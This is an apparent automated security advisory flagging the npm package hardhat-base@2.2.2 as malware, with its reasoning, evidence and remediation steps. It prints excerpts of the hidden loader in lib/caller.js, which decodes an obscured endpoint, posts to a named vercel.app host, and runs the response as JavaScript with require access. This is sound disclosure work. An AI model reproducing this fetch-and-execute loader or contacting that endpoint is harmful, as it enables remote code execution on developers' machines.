registry / Remote code execution / hardhat-base
hardhat-base
This document describes the management of vulnerabilities for the project and all modules within the organization.
This report shows the evidence for hardhat-base@2.2.2. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThis is a concrete remote code execution path concealed behind an exported middleware and detached subprocess. The absence of an install hook does not mitigate runtime execution of server-supplied code.
Static reason
One or more suspicious static signals were detected.
Trigger
A consumer invokes the package's exported middleware.
Impact
Remote code can run with the consuming user's Node.js privileges.
Mechanism
Detached child fetches and evaluates a remote payload.
Attack narrative
The public middleware starts lib/caller.js as a detached process, hiding its output. The child decodes a hard-coded URL, sends a request, treats the response as JavaScript, and executes it through Function with require supplied. The payload can therefore run arbitrary local code whenever a consumer calls the middleware.
AI rationale
This is a concrete remote code execution path concealed behind an exported middleware and detached subprocess. The absence of an install hook does not mitigate runtime execution of server-supplied code.
Evidence
index.jslib/caller.js
Network endpoints1
ipcheckr-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The exported middleware starts a detached Node child with ignored standard I/O when invoked.
- The child decodes an obscured endpoint and posts to https://ipcheckr-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5.
- The response body is compiled with Function and executed with require access, enabling remote arbitrary code execution.
Evidence against
- package.json has no preinstall, install, or postinstall lifecycle hook.
Behavioral surface
ChildProcessEnvironmentVarsNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcelib/caller.jsView file
2L3: const axios = require("axios");
L4: const process = {
...
L12: (async function loadCallers(..._args) {
L13: const src = atob(process.env.DEV_API_KEY);
L14: const k = atob(process.env.DEV_SECRET_KEY);
...
L21: const l = console.log;
L22: const s = (await axios.post(src, { headers: { [k]: v } })).data;
L23: const handler = new Function.constructor("require", s);
High
Base64 Obscured Url
Source decodes a Base64-obscured HTTP endpoint at runtime.
lib/caller.jsView on unpkg · L212(async function loadCallers(..._args) {
const src = atob(process.env.DEV_API_KEY);
const k = atob(process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_VALUE);
let retrycnt = 5;
while (retrycnt > 0) {
try {
const l = console.log;
const s = (await axios.post(src, { headers: { [k]: v } })).data;
High
Ai Review Evidence
The child decodes an obscured endpoint and posts to https://ipcheckr-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5.
lib/caller.jsView on unpkg · L1221const l = console.log;
const s = (await axios.post(src, { headers: { [k]: v } })).data;
const handler = new Function.constructor("require", s);
handler(require);
console.log = l;
High
Ai Review Evidence
Findings
5 High2 Medium3 Low
HighBase64 Obscured Urllib/caller.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidencelib/caller.js
HighAi Review Evidencelib/caller.js
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to hardhat-base@2.2.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing hardhat-base@2.2.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.